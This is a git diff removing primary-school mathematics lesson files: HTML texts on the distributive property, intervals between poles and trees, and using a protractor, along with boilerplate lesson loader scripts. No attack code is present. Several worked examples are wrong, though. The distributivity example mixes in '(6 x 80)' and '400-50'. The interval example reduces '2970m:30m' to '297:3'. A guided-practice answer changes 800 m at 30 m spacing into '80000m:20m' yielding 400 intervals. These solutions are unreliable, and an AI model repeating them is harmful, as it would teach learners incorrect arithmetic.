- 1)A + B + C=(A +B) +C =A + (B+C);
- <br />
- <br />
- 2)A X B X C =(A X B) X C=A X(B X C);
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a04/a.txt b/Save_Mathematics/P5/map511m15/map511m15a04/a.txt
deleted file mode 100644
index 3c10a0e..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a04/a.txt
+++ /dev/null
@@ -1,54 +0,0 @@
-<p>
- Distributivity property of combination of both addition and multiplication
-</p>
-<p>
- That is a way of having in one expression both addition and multiplication in which an order of numbers are added and multiplied,it cannot affect the answer even to use subtraction.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples
- </span>
- ;1.Firstly add and multiply each term by the common number.
- <br />
- <br />
- 6 x (30+80)=(6 x 30) + (6 x 80)
- <br />
- <br />
- 6 x 110=180 + 480
- <br />
- <br />
- 660=660
- <br />
- <br />
- <br />
- 2.Firstly subtract then multiply each number by the common term.
- <br />
- <br />
- 5 x (80-10)=(5 x 80) +(6 x 80)
- <br />
- <br />
- 5 x70 =400-50
- <br />
- <br />
- 350 =350
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;The same result will be obtained if you add or subtract numbers firstly then multiplying the sum as multiplying each number by a common term of number and add or subtract.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  General formulas
- </span>
- ;
- <br />
- <br />
- a)A X (B + C ) =(A X B) + (A X C)
- <br />
- <br />
- b)A X (B -C) =(A X B) - (A X C)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a04/description.py b/Save_Mathematics/P5/map511m15/map511m15a04/description.py
deleted file mode 100644
index 7d7a16b..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m15a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m15/map511m15a04/lesson.js b/Save_Mathematics/P5/map511m15/map511m15a04/lesson.js
deleted file mode 100644
index eb31bde..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m15/map511m15a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m15/map511m15a04/source.txt b/Save_Mathematics/P5/map511m15/map511m15a04/source.txt
deleted file mode 100644
index 3c10a0e..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a04/source.txt
+++ /dev/null
@@ -1,54 +0,0 @@
-<p>
- Distributivity property of combination of both addition and multiplication
-</p>
-<p>
- That is a way of having in one expression both addition and multiplication in which an order of numbers are added and multiplied,it cannot affect the answer even to use subtraction.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples
- </span>
- ;1.Firstly add and multiply each term by the common number.
- <br />
- <br />
- 6 x (30+80)=(6 x 30) + (6 x 80)
- <br />
- <br />
- 6 x 110=180 + 480
- <br />
- <br />
- 660=660
- <br />
- <br />
- <br />
- 2.Firstly subtract then multiply each number by the common term.
- <br />
- <br />
- 5 x (80-10)=(5 x 80) +(6 x 80)
- <br />
- <br />
- 5 x70 =400-50
- <br />
- <br />
- 350 =350
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;The same result will be obtained if you add or subtract numbers firstly then multiplying the sum as multiplying each number by a common term of number and add or subtract.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  General formulas
- </span>
- ;
- <br />
- <br />
- a)A X (B + C ) =(A X B) + (A X C)
- <br />
- <br />
- b)A X (B -C) =(A X B) - (A X C)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/activities.js b/Save_Mathematics/P5/map511m16/activities.js
deleted file mode 100755
index 69f7a3f..0000000
--- a/Save_Mathematics/P5/map511m16/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m16a01','blue'],
-['2','2','map5','basic','map511m16a02','blue'],
-['3','3','map5','basic','map511m16a03','blue'],
-['4','4','map5','basic','map511m16a04','blue'],
-['5','5','map5','basic','map511m16a05','blue'],
-['6','6','map5','basic','map511m16a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m16/map511m16a01/a.txt b/Save_Mathematics/P5/map511m16/map511m16a01/a.txt
deleted file mode 100644
index 5a4e93b..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a01/a.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- The pupils should calculate the length of intervals and the intervals are formed by the objects on different lines such as they have already seen the meaning of interval.
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE
- </span>
- :Electricity poles are fixed on 30 meters apart.Find the distance from the first to the 100th pole.
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- <br />
- <br />
- Distance =Ni x Li
- <br />
- <br />
- =(no - 1) x 30
- <br />
- =(100 - 1) x30
- <br />
- =99 x 30
- <br />
- =2970 meters
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE
- </span>
- :The distance from the first to the last pole on a line is 2970 meters.If the interval between them are 30.How many interval are there ?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- <br />
- <br />
- Ni =D:Li
- <br />
- <br />
- =2970m :30 m
- <br />
- =297:3
- <br />
- =99 intervals
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- :1.To find distance(D) multiply the length of each (Li) by the number of intervals(Ni).
- <br />
- <br />
- 2.To find number of intervals (Ni) divide the disttance (D) by the length of intervals (Li)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a01/description.py b/Save_Mathematics/P5/map511m16/map511m16a01/description.py
deleted file mode 100644
index 667a1f9..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m16a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m16/map511m16a01/lesson.js b/Save_Mathematics/P5/map511m16/map511m16a01/lesson.js
deleted file mode 100644
index 22c5fc2..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m16/map511m16a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m16/map511m16a01/source.txt b/Save_Mathematics/P5/map511m16/map511m16a01/source.txt
deleted file mode 100644
index 5a4e93b..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a01/source.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- The pupils should calculate the length of intervals and the intervals are formed by the objects on different lines such as they have already seen the meaning of interval.
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE
- </span>
- :Electricity poles are fixed on 30 meters apart.Find the distance from the first to the 100th pole.
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- <br />
- <br />
- Distance =Ni x Li
- <br />
- <br />
- =(no - 1) x 30
- <br />
- =(100 - 1) x30
- <br />
- =99 x 30
- <br />
- =2970 meters
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE
- </span>
- :The distance from the first to the last pole on a line is 2970 meters.If the interval between them are 30.How many interval are there ?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- <br />
- <br />
- Ni =D:Li
- <br />
- <br />
- =2970m :30 m
- <br />
- =297:3
- <br />
- =99 intervals
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- :1.To find distance(D) multiply the length of each (Li) by the number of intervals(Ni).
- <br />
- <br />
- 2.To find number of intervals (Ni) divide the disttance (D) by the length of intervals (Li)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a02/a.txt b/Save_Mathematics/P5/map511m16/map511m16a02/a.txt
deleted file mode 100644
index 57b01ef..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a02/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided practice
-</p>
-<p>
- 1.Trees planted on a line of 800 meters long.If the trees were fixed on 30 meters apart,how many spaces left between the trees?
- <br />
- <br />
- <br />
- 2.Find the perimeter of a circular piece of land fenced by 360 trees each 9 meters apart.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1)Ni =D:Li
- <br />
- <br />
- =80000m:20m
- <br />
- =400 intervals
- <br />
- <br />
- <br />
- 2)perimeter =360 x9m
- <br />
- =3240m
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a02/description.py b/Save_Mathematics/P5/map511m16/map511m16a02/description.py
deleted file mode 100644
index b202082..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m16a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m16/map511m16a02/lesson.js b/Save_Mathematics/P5/map511m16/map511m16a02/lesson.js
deleted file mode 100644
index c29d4fb..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m16/map511m16a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m16/map511m16a02/source.txt b/Save_Mathematics/P5/map511m16/map511m16a02/source.txt
deleted file mode 100644
index 57b01ef..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a02/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided practice
-</p>
-<p>
- 1.Trees planted on a line of 800 meters long.If the trees were fixed on 30 meters apart,how many spaces left between the trees?
- <br />
- <br />
- <br />
- 2.Find the perimeter of a circular piece of land fenced by 360 trees each 9 meters apart.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1)Ni =D:Li
- <br />
- <br />
- =80000m:20m
- <br />
- =400 intervals
- <br />
- <br />
- <br />
- 2)perimeter =360 x9m
- <br />
- =3240m
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a03/a.txt b/Save_Mathematics/P5/map511m16/map511m16a03/a.txt
deleted file mode 100644
index ceaf9cd..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a03/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independent practice
-</p>
-<p>
- 1)40 pupils joined hands to make a rectangular,the space between every two pupils was 20 dm.Find the distance in meters round the rectangular made.
- <br />
- <br />
- <br />
- 2)Find the number of intervals each 26 cm needed to cover a distance of 2600cm.
- <br />
- <br />
- <br />
- 3)A circular garden has 80 trees surrounding it .If they were planted at an interval of 18 meters apart,find the perimeter of garden?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a03/description.py b/Save_Mathematics/P5/map511m16/map511m16a03/description.py
deleted file mode 100644
index e922cbb..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m16a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m16/map511m16a03/lesson.js b/Save_Mathematics/P5/map511m16/map511m16a03/lesson.js
deleted file mode 100644
index 25fff19..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m16/map511m16a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m16/map511m16a03/source.txt b/Save_Mathematics/P5/map511m16/map511m16a03/source.txt
deleted file mode 100644
index ceaf9cd..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a03/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independent practice
-</p>
-<p>
- 1)40 pupils joined hands to make a rectangular,the space between every two pupils was 20 dm.Find the distance in meters round the rectangular made.
- <br />
- <br />
- <br />
- 2)Find the number of intervals each 26 cm needed to cover a distance of 2600cm.
- <br />
- <br />
- <br />
- 3)A circular garden has 80 trees surrounding it .If they were planted at an interval of 18 meters apart,find the perimeter of garden?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a04/a.txt b/Save_Mathematics/P5/map511m16/map511m16a04/a.txt
deleted file mode 100644
index eedf807..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a04/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1)Sorghum plants require a space of 80cm apart.Find the length of a garden planted with a line of 20 sorghum plants.
- <br />
- <br />
- <br />
- 2)The distance from the first to the last tree on a line of 4950cm.If an interval between them is 50cm.How many intervals are there?
- <br />
- <br />
- <br />
- 3)How far in meters is the tenth pupil from the first pupil on a line if the space between the pupils is 15dam?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a04/description.py b/Save_Mathematics/P5/map511m16/map511m16a04/description.py
deleted file mode 100644
index 61918ac..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m16a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m16/map511m16a04/lesson.js b/Save_Mathematics/P5/map511m16/map511m16a04/lesson.js
deleted file mode 100644
index 527641f..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m16/map511m16a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m16/map511m16a04/source.txt b/Save_Mathematics/P5/map511m16/map511m16a04/source.txt
deleted file mode 100644
index eedf807..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a04/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1)Sorghum plants require a space of 80cm apart.Find the length of a garden planted with a line of 20 sorghum plants.
- <br />
- <br />
- <br />
- 2)The distance from the first to the last tree on a line of 4950cm.If an interval between them is 50cm.How many intervals are there?
- <br />
- <br />
- <br />
- 3)How far in meters is the tenth pupil from the first pupil on a line if the space between the pupils is 15dam?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a05/a.txt b/Save_Mathematics/P5/map511m16/map511m16a05/a.txt
deleted file mode 100644
index d3f5fbb..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a05/a.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remadial
-</p>
-<p>
- 1)How many intervals are needed between 120 trees to be fixed around a square form?
- <br />
- <br />
- <br />
- 2)Julia planted 62 seeds on a line.How many intervals did she leave between plants?
- <br />
- <br />
- <br />
- 3)Find the perimeter of a rectangular compound surrounded by 90 poles with an interval of 2m apart.
- <br />
- <br />
- <br />
- 4)Find the perimeter of a circular piece of land fenced with 450 trees each 5meters apart.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a05/description.py b/Save_Mathematics/P5/map511m16/map511m16a05/description.py
deleted file mode 100644
index 043ab3d..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m16a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m16/map511m16a05/lesson.js b/Save_Mathematics/P5/map511m16/map511m16a05/lesson.js
deleted file mode 100644
index 334a029..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m16/map511m16a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m16/map511m16a05/source.txt b/Save_Mathematics/P5/map511m16/map511m16a05/source.txt
deleted file mode 100644
index d3f5fbb..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a05/source.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remadial
-</p>
-<p>
- 1)How many intervals are needed between 120 trees to be fixed around a square form?
- <br />
- <br />
- <br />
- 2)Julia planted 62 seeds on a line.How many intervals did she leave between plants?
- <br />
- <br />
- <br />
- 3)Find the perimeter of a rectangular compound surrounded by 90 poles with an interval of 2m apart.
- <br />
- <br />
- <br />
- 4)Find the perimeter of a circular piece of land fenced with 450 trees each 5meters apart.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a06/a.txt b/Save_Mathematics/P5/map511m16/map511m16a06/a.txt
deleted file mode 100644
index 64a92b9..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a06/a.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1.How many intervals are needed between140 trees to be fixed around a square garden?
- <br />
- <br />
- 2.Find the perimeter of a circular piece of land fenced with 13500 trees each 45meters apart.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m16/map511m16a06/description.py b/Save_Mathematics/P5/map511m16/map511m16a06/description.py
deleted file mode 100644
index b612721..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m16a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m16/map511m16a06/lesson.js b/Save_Mathematics/P5/map511m16/map511m16a06/lesson.js
deleted file mode 100644
index f77725c..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m16/map511m16a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m16/map511m16a06/source.txt b/Save_Mathematics/P5/map511m16/map511m16a06/source.txt
deleted file mode 100644
index 64a92b9..0000000
--- a/Save_Mathematics/P5/map511m16/map511m16a06/source.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1.How many intervals are needed between140 trees to be fixed around a square garden?
- <br />
- <br />
- 2.Find the perimeter of a circular piece of land fenced with 13500 trees each 45meters apart.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/activities.js b/Save_Mathematics/P5/map511m17/activities.js
deleted file mode 100755
index 4167532..0000000
--- a/Save_Mathematics/P5/map511m17/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m17a01','blue'],
-['2','2','map5','basic','map511m17a02','blue'],
-['3','3','map5','basic','map511m17a03','blue'],
-['4','4','map5','basic','map511m17a04','blue'],
-['5','5','map5','basic','map511m17a05','blue'],
-['6','6','map5','basic','map511m17a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m17/map511m17a01/a.txt b/Save_Mathematics/P5/map511m17/map511m17a01/a.txt
deleted file mode 100644
index ee6c521..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a01/a.txt
+++ /dev/null
@@ -1,64 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- In human being life,a protractor is an instrument used to measure angles between two or more lines joined together,angles of different figures as for examples square,rectangles,etc..It can also used to measure the angles with small degree.
- <br />
- <br />
- <br />
- (here are some graphs of perpendicular lines,square,rectangle,etc....).
- <br />
- <br />
- <br />
- when you want to use protractor in measuring angles you start from zero up to three hundred sixty degrees.You have to remember that in measuring angles we use degree as
- <span style="color: #0000ff;">
-  unit .
-  <br />
-  <br />
-  <span style="font-weight: bold; text-decoration: underline;">
-   STRUCTURE OF PROTRACTOR
-   <br />
-  </span>
-  <span style="color: #000000;">
-   There are two kinds of protractor:
-   <br />
-  </span>
- </span>
-</p>
-<ul>
- <li>
-  The inner scale
-  <span style="color: #0000ff;">
-   <span style="color: #000000;">
-    and
-    <br />
-   </span>
-  </span>
- </li>
- <li>
-  <span style="color: #0000ff;">
-   <span style="color: #000000;">
-    The outer scale.
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="color: #0000ff;">
-  <span style="color: #000000;">
-   The inner scale is read from right to left while the outer scale is read from left to right.when measuring the reflex angles,first you measure the obtuse angle and then subtract it from three hundred sixty degrees to get the reflect angle.
-   <br />
-   <br />
-   (pictures of protractor showing the inner scale and picture of protractor showing the outer scale).
-   <br />
-   <br />
-   The outer scale is used to measure the angles situated on left hand side while the inner scale is used to measure angles situated on the right hand scale.
-   <br />
-   <br />
-   <span style="color: #0000ff; text-decoration: underline;">
-    Note
-   </span>
-   :When measuring angles,we start from zero degree.Therefore the zero on the protractor helps you to decide which scale to use.
-  </span>
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a01/description.py b/Save_Mathematics/P5/map511m17/map511m17a01/description.py
deleted file mode 100644
index 1ef9306..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m17a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m17/map511m17a01/lesson.js b/Save_Mathematics/P5/map511m17/map511m17a01/lesson.js
deleted file mode 100644
index d07b933..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m17/map511m17a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m17/map511m17a01/source.txt b/Save_Mathematics/P5/map511m17/map511m17a01/source.txt
deleted file mode 100644
index ee6c521..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a01/source.txt
+++ /dev/null
@@ -1,64 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
